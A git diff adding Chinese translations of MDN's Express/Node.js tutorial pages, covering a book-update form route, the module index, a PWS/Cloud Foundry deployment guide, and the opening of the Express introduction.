class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + + <span class="comment token">// Mark our selected genres as checked.</span> + <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">let</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token"><</span> results<span class="punctuation token">.</span>genres<span class="punctuation token">.</span>length<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>book<span class="punctuation token">.</span>genre<span class="punctuation token">.</span><span class="function token">indexOf</span><span class="punctuation token">(</span>results<span class="punctuation token">.</span>genres<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>_id<span class="punctuation token">)</span> <span class="operator token">></span> <span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + results<span class="punctuation token">.</span>genres<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>checked<span class="operator token">=</span><span class="string token">'true'</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="punctuation token">}</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'book_form'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Update Book'</span><span class="punctuation token">,</span>authors<span class="punctuation token">:</span>results<span class="punctuation token">.</span>authors<span class="punctuation token">,</span> genres<span class="punctuation token">:</span>results<span class="punctuation token">.</span>genres<span class="punctuation token">,</span> book<span class="punctuation token">:</span> book<span class="punctuation token">,</span> errors<span class="punctuation token">:</span> errors<span class="punctuation token">.</span><span class="function token">array</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="keyword token">return</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="keyword token">else</span> <span class="punctuation token">{</span> + <span class="comment token">// Data from form is valid. Update the record.</span> + Book<span class="punctuation token">.</span><span class="function token">findByIdAndUpdate</span><span class="punctuation token">(</span>req<span class="punctuation token">.</span>params<span class="punctuation token">.</span>id<span class="punctuation token">,</span> book<span class="punctuation token">,</span> <span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">,</span>thebook<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="comment token">// Successful - redirect to book detail page.</span> + res<span class="punctuation token">.</span><span class="function token">redirect</span><span class="punctuation token">(</span>thebook<span class="punctuation token">.</span>url<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="punctuation token">}</span> +<span class="punctuation token">]</span><span class="punctuation token">;</span></code></pre> + +<p>这很像是创建一本书的时候,所使用的 post 路由。首先,我们验证来自表单的书本数据,并进行无害化处理,并使用它创建一个新的书本 <code>Book</code> 对象 (将它的 <code>_id</code> 值,设置给将要更新的对象的 id)。当我们验证资料,然后重新呈现表单的时候,如果存在错误,再附加显示使用者输入的资料、错误信息、以及种类和作者列表。当我们调用<code>Book.findByIdAndUpdate()</code> 去更新 <code>Book</code> ,如果没有错误,就重新导向到它的细节页面。</p> + +<h2 class="highlight-spanned" id="视图"><span class="highlight-span">视图</span></h2> + +<p>打开 <strong>/views/book_form.pug</strong> ,并更新作者表单控制器的区段,以加入底下条件控制代码。</p> + +<pre class="line-numbers language-html"><code class="language-html"> div.form-group + label(for='author') Author: + select#author.form-control(type='select' placeholder='Select author' name='author' required='true' ) + for author in authors + if book + //- Handle GET form, where book.author is an object, and POST form, where it is a string. + option( + value=author._id + selected=( + author._id.toString()==book.author._id + || author._id.toString()==book.author + ) ? 'selected' : false + ) #{author.name} + else + option(value=author._id) #{author.name}</code></pre> + +<div class="note"> +<p><strong>注意</strong>: 此处代码的更动,是为了让书本表单 book_form ,能被创建和更新书本的对象共同使用 (如果不这么做,当创建表单时,在 <code>GET</code> 路由会发生一个错误)。</p> +</div> + +<h2 class="highlight-spanned" id="加入一个更新按钮">加入一个更新按钮</h2> + +<p>打开 <strong>book_detail.pug </strong>视图,并确认在页面下方,有删除和更新书本的连结,如下所示。</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html"> hr + p + a(href=book.url+'/delete') Delete Book + p + a(href=book.url+'/update') Update Book</code></pre> + +<p>你现在应该能够更新来自书本细节页面的书了。</p> + +<h2 class="highlight-spanned" id="它看起來像是"><span class="highlight-span">它看起來像是?</span></h2> + +<p>运行本应用,打开浏览器,访问网址 <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>,点击所有书本 All books 连结,然后点击一本书。最后点击更新书本 Update Book 连结。</p> + +<p>表单看起来应该就像是创建书本页面,只是标题变为 'Update book',并且事先填入纪录值。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14498/LocalLibary_Express_Book_Update_NoErrors.png" style="border-style: solid; border-width: 1px; display: block; height: 443px; margin: 0px auto; width: 1000px;"></p> + +<div class="note"> +<p><strong>注意:</strong> 其它更新对象的页面,也可以用同样的方式处理。我们把这些更新页面的实作留下,做为自我挑战。</p> +</div> + +<p> </p> + +<h2 id="下一步">下一步</h2> + +<ul> + <li>回到 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms">Express 教程 6: 使用表单</a></li> +</ul> + +<p> </p> diff --git a/files/zh-cn/learn/server-side/express_nodejs/index.html b/files/zh-cn/learn/server-side/express_nodejs/index.html new file mode 100644 index 0000000000..294474589a --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/index.html @@ -0,0 +1,72 @@ +--- +title: Express Web Framework (Node.js/JavaScript) +slug: learn/Server-side/Express_Nodejs +tags: + - Express + - Node +translation_of: Learn/Server-side/Express_Nodejs +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">Express是一款受欢迎的开源web框架,构建语言是JavaScript,可以在node.js环境运行。本系列文章介绍了该框架的优点,如何搭建开发环境以及部署web开发环境并进行开发任务。</p> + +<h2 id="前提">前提</h2> + +<p>在开始这个模块之前你需要知道什么是服务端网页编程和 web 框架,建议你先阅读 <a href="/zh-CN/docs/Learn/Server-side">服务端网页编程</a> 模块。强烈推荐了解编程概念和 <a href="/zh-CN/docs/Web/JavaScript">JavaScript</a> ,但这对理解核心概念不是必需的。</p> + +<div class="note"> +<p>注意:这个网站有很多有用的资源用来学习JavaScript做客户端开发: <a href="/zh-CN/docs/Web/JavaScript">JavaScript</a>, <a href="/zh-CN/docs/Web/JavaScript/Guide">JavaScript Guide</a>, <a href="/zh-CN/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript Basics</a>, <a href="/zh-CN/docs/Learn/JavaScript">JavaScript</a> (learning). 核心的JavaScript语言和概念用Nodejs服务端开发是相同的,也是相关的。Node.js 提供<a href="https://nodejs.org/dist/latest-v6.x/docs/api/"> 额外的API</a> 用于支持在无浏览器环境中有用的功能,例如,创建HTTP服务器并访问文件系统,但不支持JavaScript API以使用浏览器和DOM。</p> + +<p>这篇指南将会提供一些Node.js 和 Express的信息, 并且有很多优秀的网络资源和书籍。一些链接 比如<a href="http://stackoverflow.com/a/5511507/894359">How do I get started with Node.js</a> (StackOverflow) 和 <a href="https://www.quora.com/What-are-the-best-resources-for-learning-Node-js?">What are the best resources for learning Node.js?</a> (Quora).</p> +</div> + +<h2 id="指南">指南</h2> + +<dl> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node 介绍</a></dt> + <dd>在这篇文章中,我们回答了“什么是 Node?”和“什么是 Express?”并为您概述了Express web框架的特殊之处。我们将介绍主要功能,并向您展示Express应用程序的一些主要构建模块(尽管此时您还没有可用于测试它的开发环境)。</dd> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Server-side/Express_Nodejs/development_environment">搭建 Node(Express) 开发环境</a></dt> + <dd>介绍了 Express 的所用之处后,我们将向您展示如何在不同操作系统下建立并验证 Node/Express 开发环境。无论您使用任何操作系统,这篇文章都可以完全指导如何开始构建 Express 应用。</dd> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express 教程——第一部分:本地图书馆</a></dt> + <dd>该实用教程系列中的第一篇文章,介绍了即将学习的内容,并概述了在后续文章中不断迭代的 “本地图书馆”例子 。</dd> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express 教程——第二部分:建立网站的骨架</a></dt> + <dd>这篇文章将介绍如何建立一个网站项目的 “骨架”,然后您可以继续添加自己的路由、模板/视图和数据库。</dd> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Server-side/Express_Nodejs/mongoose">Express 教程——第三部分:使用数据库(Mongoose)</a></dt> + <dd>这篇文章简单介绍了在 Node/Express 中如何使用数据库。本文中我们将会使用 Mongoose 为该项目(本地图书馆)提供数据访问,同时解释了如何定义对象模式、模型和基础和验证。本文也简单介绍了访问模型数据的一些主流方式。</dd> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Server-side/Express_Nodejs/routes">Express 教程——第四部分:路由和控制器</a></dt> + <dd>我们在本教程中会设置路由来编写一些本地图书馆所需的伪造端点(endpoints)。在接下来的文章中,路由会有一个模块结构,可用来拓展real handler functions。最终,我们会对用Express创建模块化路由有很好的理解。</dd> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程——第五部分:在 HTML 上展示图书数据</a></dt> +</dl> + +<p>我们现在已经准备好为展示本地图书馆图书和其他数据添加页面,包括展示每个model有多少记录的主页,以及list和detail页面。我们会积累从database获取记录以及使用模版的实战经验。</p> + +<dl> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms">Express教程——第六部分: 如何使用表单</a></dt> + <dd>本教程我们会教你如何在Express使用HTML表单,Pug,以及从数据库中创建,更新,删除文件。</dd> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Server-side/Express_Nodejs/deployment">Express教程——第七部分:如何部署到生产环境</a></dt> + <dd>现在你已经创建了一个很棒的本地图书馆网站,你可以把本地环境迁移到公共网络服务器上,别人也可以使用网站。本章提供了如何找服务器,部署网站到生产环境的概览。</dd> +</dl> + +<h2 id="另见">另见</h2> + +<dl> + <dt><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry">在PWS/Cloud Foundry安装LocalLibrary</a></dt> + <dd>本文提供了如何在<a href="http://run.pivotal.io">Pivotal Web Services PaaS </a>云上安装LocalLibrary的实际演示 - 这是Heroku的全功能,开源替代品,Heroku是本教程第7部分中使用的PaaS云服务,如上所列。 如果您正在寻找Heroku(或其他PaaS云服务)的替代方案,或者只是想尝试不同的东西,PWS / Cloud Foundry绝对值得一试。</dd> + <dd></dd> +</dl> + +<h2 id="其它教程">其它教程</h2> + +<div> +<p>本教程到此结束,如果你想要更进一步,以下包含更多有趣的主题:</p> + +<ul> + <li>使用sessions</li> + <li>使用者授权</li> + <li>使用者许可</li> + <li>测试Express网页应用</li> + <li>Express网页应用的安全</li> +</ul> + +<p>当然,如果做一个评估任务会更好!</p> +</div> diff --git a/files/zh-cn/learn/server-side/express_nodejs/installing_on_pws_cloud_foundry/index.html b/files/zh-cn/learn/server-side/express_nodejs/installing_on_pws_cloud_foundry/index.html new file mode 100644 index 0000000000..e3f321e83a --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/installing_on_pws_cloud_foundry/index.html @@ -0,0 +1,242 @@ +--- +title: 在 PWS/Cloud Foundry 上,安装 LocalLibrary +slug: learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry +translation_of: Learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">本文提供了如何在 <a href="http://run.pivotal.io">Pivotal Web Services PaaS cloud </a>云上安装 LocalLibrary的实际演示 - 这是 Heroku 的全功能,开源替代品,Heroku 是我们<a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/deployment">教程第 7 部分</a>中使用的 PaaS 云服务。如果您正在寻找 Heroku(或其他 PaaS 云服务)的替代方案,或者只是想尝试不同的东西,PWS / Cloud Foundry 绝对值得一试。</p> + +<h2 id="为什么是_PWS">为什么是 PWS?</h2> + +<p>Pivotal Web Services 是<a href="https://www.cloudfoundry.org/">开源云代工平台</a>的公共实例。它是一个多语言平台,支持许多不同的语言,包括Node.js,Java,PHP,Python,Staticfiles 和 Ruby。它有一个免费试用版,对于运行 Node 应用程序非常有效!由于 Node 和 Express 是开源项目,因此与使用 Cloud Foundry 等开放式部署平台保持一致。您可以<a href="https://github.com/cloudfoundry">深入了解</a>应用程序的托管方式。</p> + +<p>使用PWS有多种原因!</p> + +<ul> + <li>PWS具有<a href="https://run.pivotla.io/pricing">灵活的定价</a>,可以很好地适应 node 等小型运行。你可以用每月不到 5 美元的价格,运行一对冗余的应用程序。这包括备用故障转移系统,如果主服务器在任何时候出现故障,它将接管运行您的应用程序。</li> + <li>作为PaaS,PWS为我们提供了大量的 Web 基础设施。这使得入门更加容易,因为您不必担心服务器、负载平衡器、反向代理、崩溃时重新启动网站,或者PWS 为我们提供的任何其他 Web 基础结构。</li> + <li>因为 PWS 使用的是 Cloud Foundry,一个开放的平台。因此,您可以轻松地将应用程序,部署到其他 Cloud Foundry 提供商,例如 <a href="https://www.ibm.com/cloud-computing/bluemix/">IBM BlueMix</a>, <a href="https://www.anynines.com/">AnyNines</a> 和 <a href="https://www.swisscom.ch/en/business/enterprise/offer/cloud-data-center-services/paas/application-cloud.html">Swisscomm Application Cloud</a>。以下说明,适用于任何标准的 Cloud Foundry 部署,只需稍加修改即可。</li> + <li>虽然它确实有一些限制,但这些不会影响这个特定的应用程序。例如: + <ul> + <li>PWS 和 Cloud Foundry 仅提供短期存储,因此用户上载的文件,无法安全地长期存储在 PWS 本身上。</li> + <li>免费试用一年有效,限制最高 87美元的应用程序使用量。对于典型的 Node 应用程序,这意味着您可以运行一整年的应用程序。</li> + </ul> + </li> + <li>大多数情况下它只是可以工作,如果你最终喜欢它,并希望升级,那么扩展你的应用程序非常容易。</li> + <li>PWS 和其他 Cloud Foundry 应用程序,可用于生产级别的应用程序。</li> +</ul> + +<h2 id="PWS_是如何工作的?">PWS 是如何工作的?</h2> + +<p>PWS通过容器来运行网站和应用已经有些年头了。Cloud Foundry一开始采用的容器技术名为Warden,现在使用的是名为Garden的容器系统。这些技术与流行的Docker容器很相似,而且事实上Cloud Foundry云平台的很多设施都支持部署Docker容器。</p> + +<p>使用Cloud Foundry云平台的好处之一是您不需要创建容器规范,因为Cloud Foundry的构建包会基于最新的组件来生成它们。由于容器是临时部署的,而且可能随时被清理并部署到云中的其他位置,所以Cloud Foundry云平台上的应用需要遵循<a href="https://12factor.net/zh_cn/">十二要素准则</a>。如此可以确保您的应用和平台使用最新的软件。一个应用程序可以包含多个实例,在这些实例中,应用程序被放置到冗余容器中,从而实现应用程序的高可用性。Cloud Foundry会自动处理相同实例之间的所有负载平衡。这允许您扩展应用程序的性能和可用性。</p> + +<p>由于文件系统是临时的,所以任何临时存储或服务都应该使用备份服务放置到其他地方。这可以通过使用不同提供商提供的市场服务或通过<a href="https://docs.run.pivotal.io/devguide/services/user-provided.html">用户自己提供的服务</a>来实现。</p> + +<h2 id="What_do_we_cover_below">What do we cover below?</h2> + +<p>This post covers how to modify the LocalLibrary application from the tutorial for deployment on PWS and Cloud Foundry. In doing so, it covers the basics of deploying any node.js application to PWS with the following steps.</p> + +<ul> + <li>Configuring the package.json file to run with the engines available on PWS.</li> + <li>Adding and installing the<a href="https://github.com/cloudfoundry-community/node-cfenv"> 'cfenv' node module</a> to make working with services easier.</li> + <li>Using the cfenv module to connect to a MongoDB instance from mLab that was created and bound using the PWS marketplace.</li> + <li>Using the <a href="https://github.com/cloudfoundry/cli">cf CLI</a> tool to create a new mongoDB service instance and bind it to the local library application.</li> + <li>How to set environment variables for Node using the cf CLI.</li> + <li>How to look at logs, again using the cf CLI tool.</li> +</ul> + +<p>So let's get started. You have two options, you can go through the tutorial from the <a href="<https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website>">beginning</a> or you can just download the completed project and modify it from there for use on PWS. To do the latter, you can do the following from a terminal:</p> + +<pre class="brush: bash notranslate"><code>git clone https://github.com/mdn/express-locallibrary-tutorial</code></pre> + +<p>You'll then need to follow the preparation steps listed in the <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment#Getting_your_website_ready_to_publish">Getting your website ready to publish</a> section of <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a>, before then following the steps listed below.</p> + +<div class="note"> +<p><strong>Note</strong>: This work flow is based on the <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment#Example_Installing_LocalLibrary_on_Heroku">Mozilla Heroku work flow in the main Express/Node tutorial series</a> for consistency, to help readers compare and contrast. </p> +</div> + +<h2 id="Modifying_the_LocalLibrary_for_PWS">Modifying the LocalLibrary for PWS</h2> + +<p id="How_does_PWS_work">Deployment of a Node application on Cloud Foundry takes the following steps. Using the downloaded 'cf' CLI tool on your environment, your source code and supporting metadata files are uploaded to Cloud Foundry which will assemble and package the components of your application. Note that your files need to be located on your system to deploy or as a zip archive somewhere accessible on the internet. We'll assume the former.</p> + +<p>This means, no assumptions about which source control system is used. As long as you have a complete source tree in your local file system you can deploy the app. There are some things you have to make available to ensure the correctly assembly of your Node application. First Cloud Foundry cf CLI will look for the presence of the 'package.json' file to determine the dependencies and download the necessary components. The rules of this assembly are defined in Cloud Foundry's <a href="http://docs.run.pivotal.io/buildpacks/node/">nodejs buildpack</a>. An optional cloud foundry manifest file can specify information about your application such as name, size and start command if non-standard. In addition to deploying the application, the cf CLI tool can also configure services, set environment variables and view logs. That's all the overview you need in order to get started (see <a href="https://docs.run.pivotal.io">Getting Started on Pivotal Web Services</a> for a more comprehensive guide). Let's start making the changes so you'll need to deploy the <em>LocalLibrary</em> application to PWS.</p> + +<h3 id="Set_node_version">Set node version</h3> + +<p>The <strong>package.json</strong> contains everything needed to work out your application dependencies and what file should be launched to start your site. Cloud Foundry and PWS detects the presence of this file, and will use it to provision your app environment. The only useful information missing in our current <strong>package.json</strong> is the version of node. We can find the version of node we're using for development by entering the command:</p> + +<pre class="brush: bash notranslate">node --version +# <em>will return version e.g. v6.10.3</em></pre> + +<p>Open <strong>package.json</strong> with a text editor, and add this information as an <strong>engines > node</strong> section as shown (using the version number retrieved above).</p> + +<pre class="brush: json notranslate">{ + "name": "express-locallibrary-tutorial", + "version": "0.0.0", +<strong> "engines": { + "node": "6.10.3" + },</strong> + "private": true, + ... +</pre> + +<h3 id="Database_configuration">Database configuration</h3> + +<p>So far in this tutorial we've used a single database that is hard coded into the <strong>app.js </strong>file. Normally we'd like to be able to have a different database for production and development, so next we'll modify the LocalLibrary website to get the database URI from the OS environment, and otherwise use our development database that we added manually earlier. Cloud Foundry has a very flexible services model that enables multiple services of the same type to exist in the environment. It stores all services related configurations in a single parseable JSON object called <code>VCAP_SERVICES</code>. A typical <code>VCAP_SERVICES</code> variable looks like this:</p> + +<pre class="brush: json notranslate">{ + "VCAP_SERVICES": { + "mlab": [ + { + "credentials": { + "uri": "mongodb://CloudFoundry_test_dev:somecr8zypassw0rd@dbhost.mlab.com:57971/CloudFoundry_dbname" + }, + "label": "mlab", + "name": "node-express-tutorial-mongodb", + "plan": "sandbox", + "provider": null, + "syslog_drain_url": null, + "tags": [ + "Cloud Databases", + "Developer Tools", + "Web-based", + "Data Store", + ], + "volume_mounts": [] + } + ] + } +} + +</pre> + +<p>Writing the code to extract and parse this environment variable is not hard, but it doesn't add a lot of value when others have written libraries to do this. In this case, there is a node.js package we can use called <a href="https://github.com/cloudfoundry-community/node-cfenv"><em>cfenv</em></a>.</p> + +<p>This will download the cfenv module and its dependencies, and modify the package.json file as required. Open <strong>app.js</strong> and find the block with all the 'requires' that load the modules into your application. In this example look for the line that looks something like this:</p> + +<pre class="brush: js notranslate">var expressValidator = require('express-validator');</pre> + +<p>If you cannot find that exact line, look for the blocks of 'requires' and look for the last one. Add the following text after it:</p> + +<pre class="brush: js notranslate">var cfenv = require('cfenv');</pre> + +<ol> + <li> + <p>To install the package, go to your terminal and make sure you are in the directory where the <code>package.json</code> file for LocalLibrary is. From the command line, type:</p> + + <pre class="brush: bash notranslate">npm install cfenv</pre> + </li> + <li> + <p>Now that you have loaded the module, this next line will instantiate an object that will contain the app and services information required for deployment. Add the following after the line that contains <code>app.use(helmet());</code></p> + + <pre class="brush: js notranslate">// Set up CF environment variables +var appEnv = cfenv.getAppEnv(); +</pre> + + <p>When this line executes, all the Cloud Foundry application environment information will become available to the application in the <code>appEnv</code> object.</p> + </li> + <li> + <p>Now it is time to update the application to use the database configured by the platform. Find the line that sets the mongoDB connection variable. It will look something like this:</p> + + <pre class="brush: js notranslate">var mongoDB = process.env.MONGODB_URI || dev_db_url;</pre> + </li> + <li> + <p>You will now modify the line with the following code <code>appEnv.getServiceURL('node-express-tutorial-mongodb')</code> to get the connection string from an environment variable that is being managed by the <code>cfenv</code> module. If no service has been created and bound it will use your own database URL you created as part of the tutorial instead of the one from the environment. So replace the line above with the following:</p> + + <pre class="brush: js notranslate">var mongoDB = appEnv.getServiceURL('node-express-tutorial-mongodb') || dev_db_url; +</pre> + </li> + <li> + <p>Now run the site locally (see <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/routes#Testing_the_routes">Testing the routes</a> for the relevant commands) and check that the site still behaves as you expect. At this point your app is ready to use with Cloud Foundry and Pivotal Web Services.</p> + </li> +</ol> + +<h2 id="Get_a_Pivotal_Web_Services_account">Get a Pivotal Web Services account</h2> + +<p>To start using Pivotal Web Services you will first need to create an account (skip ahead to <a href="#Create_and_upload_the_website">Create and upload the website</a> if you've already got an account and have already installed the PWS cf CLI client).</p> + +<ul> + <li>Go to <a href="https://run.pivotal.io">https://run.pivotal.io</a> and click the <strong>SIGN UP FOR FREE</strong> button.</li> + <li>Enter your details and then press <strong>CREATE FREE ACCOUNT</strong>. You'll be asked to check your email for a sign-up email.</li> + <li>Click the account activation link in the signup email. You'll be taken back to your account on the web browser and you will complete the registration.</li> + <li>You will set your password and go through the rest of the new user sign up and how to claim your free trial account. Note you need a mobile phone to confirm your account. You will receive an "org" account funded with $87 of application usage credit. Note your email account can be in multiple orgs on PWS. This is similar to your user account on services like GitHub.</li> + <li>Go to <a href="https://login.run.pivotal.io">https://console.run.pivotal.io</a> and login in. You'll then be logged in and taken to the PWS dashboard: <a href="https://console.run.pivotal.io">https://console.run.pivotal.io</a>.</li> +</ul> + +<h2 id="Install_the_cf_CLI_client">Install the cf CLI client</h2> + +<p>The cf CLI client is a software tool for managing and deploying your application. Download and install the PWS cf CLI client by following the <a href="https://console.run.pivotal.io/tools">instructions on Pivotal Web Services</a> or downloading directly from <a href="https://github.com/cloudfoundry/cli">GIthub</a>. Be sure to download the correct version for your computer. After the client is installed you will be able run commands, for example to get help on the client:</p> + +<pre class="brush: bash notranslate">cf help +</pre> + +<p>We'll now go through the steps to login to PWS using the CLI and deploy — or in Cloud Foundry parlance "push" your app.</p> + +<h2 id="Create_and_upload_the_website">Create and upload the website</h2> + +<p>To create the app we navigate to the directory where our modified files are. This is the same directory where the LocalLibrary package.json file is located. First, let's tell the cf CLI which Cloud Foundry instance you want to use. We need to do this, since the cf CLI tool can be used with any standard Cloud Foundry system, so this command indicates which specific Cloud Foundry you are using. Enter the following terminal command now:</p> + +<pre class="brush: bash notranslate">cf api api.run.pivotal.io</pre> + +<p>Next login using the following command (enter your email and password when prompted):</p> + +<pre class="brush: bash notranslate">cf login +Email: enter your email +Password: enter your password</pre> + +<p>We can now push our app to PWS. In the below example. replace 'some-unique-name' with something you can remember that is likely to be unique. If it isn't unique, the system will let you know. The reason this name has to be unique to the PWS system is it is the address we will use to to access your LocalLibrary application. I used <em>mozilla-express-tutorial-xyzzy</em>. You should use something else.</p> + +<pre class="brush: bash notranslate">cf push some-unique-name -m 256MB</pre> + +<p>Note the <code>-m</code> flag we added is not required. We just included it so that we only use 256MB of memory to run the app. Node apps typically can run in 128 MB, but we are being safe. If we didn't specify the memory, the CLI would use the default 1 GB of memory, but we want to make sure your trial lasts longer. You should now see a bunch of text on the screen. It will indicate that the CLI is uploading all your files, that it's using the node buildpack, and it will start the app. If we're lucky, the app is now "running" on the site at the URL <code>https://some-unique-name.cfapps.io</code>. Open your browser and run the new website by going to that URL.</p> + +<div class="note"><strong>Note</strong>: The site will be running using our hardcoded development database at this time. Create some books and other objects, and check out whether the site is behaving as you expect. In the next section we'll set it to use our new database.</div> + +<h2 id="Setting_configuration_variables">Setting configuration variables</h2> + +<p>You will recall from a preceding section that we need to <a href="#NODE_ENV">set NODE_ENV to 'production'</a> in order to improve our performance and generate less-verbose error messages.</p> + +<ol> + <li> + <p>Do this by entering the following command:</p> + + <pre class="brush: bash notranslate">cf set-env some-unique-name NODE_ENV production +</pre> + </li> + <li> + <p>We should also use a separate database for production. Cloud Foundry can take advantage of a marketplace to create a new service and automatically bind it to your app. Bind means place the service database credentials in the environment variable space of the container running your application for you to access. Enter the following commands:</p> + + <pre class="brush: bash notranslate">cf create-service mlab sandbox node-express-tutorial-mongodb +cf bind-service some-unique-name node-express-tutorial-mongodb +</pre> + </li> + <li> + <p>You can inspect your configuration variables at any time using the <code>cf env some-unique-name</code> command — try this now:</p> + + <pre class="brush: bash notranslate">cf env some-unique-name +</pre> + </li> + <li> + <p>In order for your applications to use the new credentials you will have to restage your application, meaning that it will restart and apply the new environment variables. This can be done using the following — enter this command now:</p> + + <pre class="brush: bash notranslate">cf restage some-unique-name +</pre> + </li> + <li> + <p>If you check the home page now it should show zero values for your object counts, as the changes above mean that we're now using a new (empty) database.</p> + </li> +</ol> + +<h2 id="Debugging">Debugging</h2> + +<p>The PWS cf client provides a few tools for debugging:</p> + +<pre class="brush: bash notranslate">>cf logs some-unique-name --recent # Show current logs +>cf logs some-unique-name # Show current logs and keep updating with any new results</pre> + +<h2 id="Summary">Summary</h2> + +<p>If you followed the above steps, you should have now deployed the LocalLibrary app to PWS. Well done! If the deployment wasn't successful, double check all the steps.</p> diff --git a/files/zh-cn/learn/server-side/express_nodejs/introduction/index.html b/files/zh-cn/learn/server-side/express_nodejs/introduction/index.html new file mode 100644 index 0000000000..3f0372024e --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/introduction/index.html @@ -0,0 +1,525 @@ +--- +title: Express/Node 入门 +slug: learn/Server-side/Express_Nodejs/Introduction +tags: + - Express + - Node + - node.js + - 初学者 + - 学习 + - 服务器端 + - 脚本 +translation_of: Learn/Server-side/Express_Nodejs/Introduction +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">本节将回答“什么是 Node”以及“什么是 Express”这两个问题,并通过主要特征和构成要件来简要介绍 Express 框架的与众不同之处。(只是目前尚不能用一个开发环境来测试它)</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>掌握计算机基础知识。了解 <a href="/zh-CN/docs/learn/Server-side">服务器端编程</a>,特别是 <a href="/zh-CN/docs/learn/Server-side/First_steps/Client-Server_overview">客户-服务器交互机制</a>。</td> + </tr> + <tr> + <th scope="row">学习目标:</th> + <td>熟悉 Express,以及它适配 Node 的方式、具体功能和构成要件。</td> + </tr> + </tbody> +</table> + +<h2 id="什么是_Node">什么是 Node?</h2> + +<p><a href="https://nodejs.org/zh-cn/">Node</a>(正式名称 Node.js)是一个开源的、跨平台的运行时环境,有了它,开发人员可以使用 <a href="/zh-CN/docs/Glossary/JavaScript">JavaScript</a> 创建各种服务器端工具和应用程序。此运行时主要用于浏览器上下文之外(即可以直接运行于计算机或服务器操作系统上)。据此,该环境省略了一些浏览器专用的 JavaScript API,同时添加了对更传统的 OS API(比如 HTTP 库和文件系统库)的支持。</p> + +<p>从 web 服务器开发的角度来看,Node 有很多好处:</p> + +<ul> + <li>卓越的性能表现!Node 为优化 web 应用的吞吐量和扩展度而生,对常见的 web 开发问题是一套绝佳方案(比如实时 web 应用)。</li> + <li>代码还是熟悉的老伙伴 JavaScript,这意味着在客户端和服务器端“上下文切换”的时间成本更低。</li> + <li>与传统的 web 服务器语言(例如 Python、PHP 等)相比,JavaScript 理念更新,语言设计的改进带来了诸多好处。许多其它新近流行的语言也可编译/转换成 JavaScript,所以TypeScript、CoffeeScript、ClojureScript、Scala、LiveScript 等等也可以使用。</li> + <li>Node 包管理工具(node package manager,NPM)提供了数十万个可重用的工具包。它还提供了一流的依赖解决方案,可实现自动化工具链构建。</li> + <li>Node.js 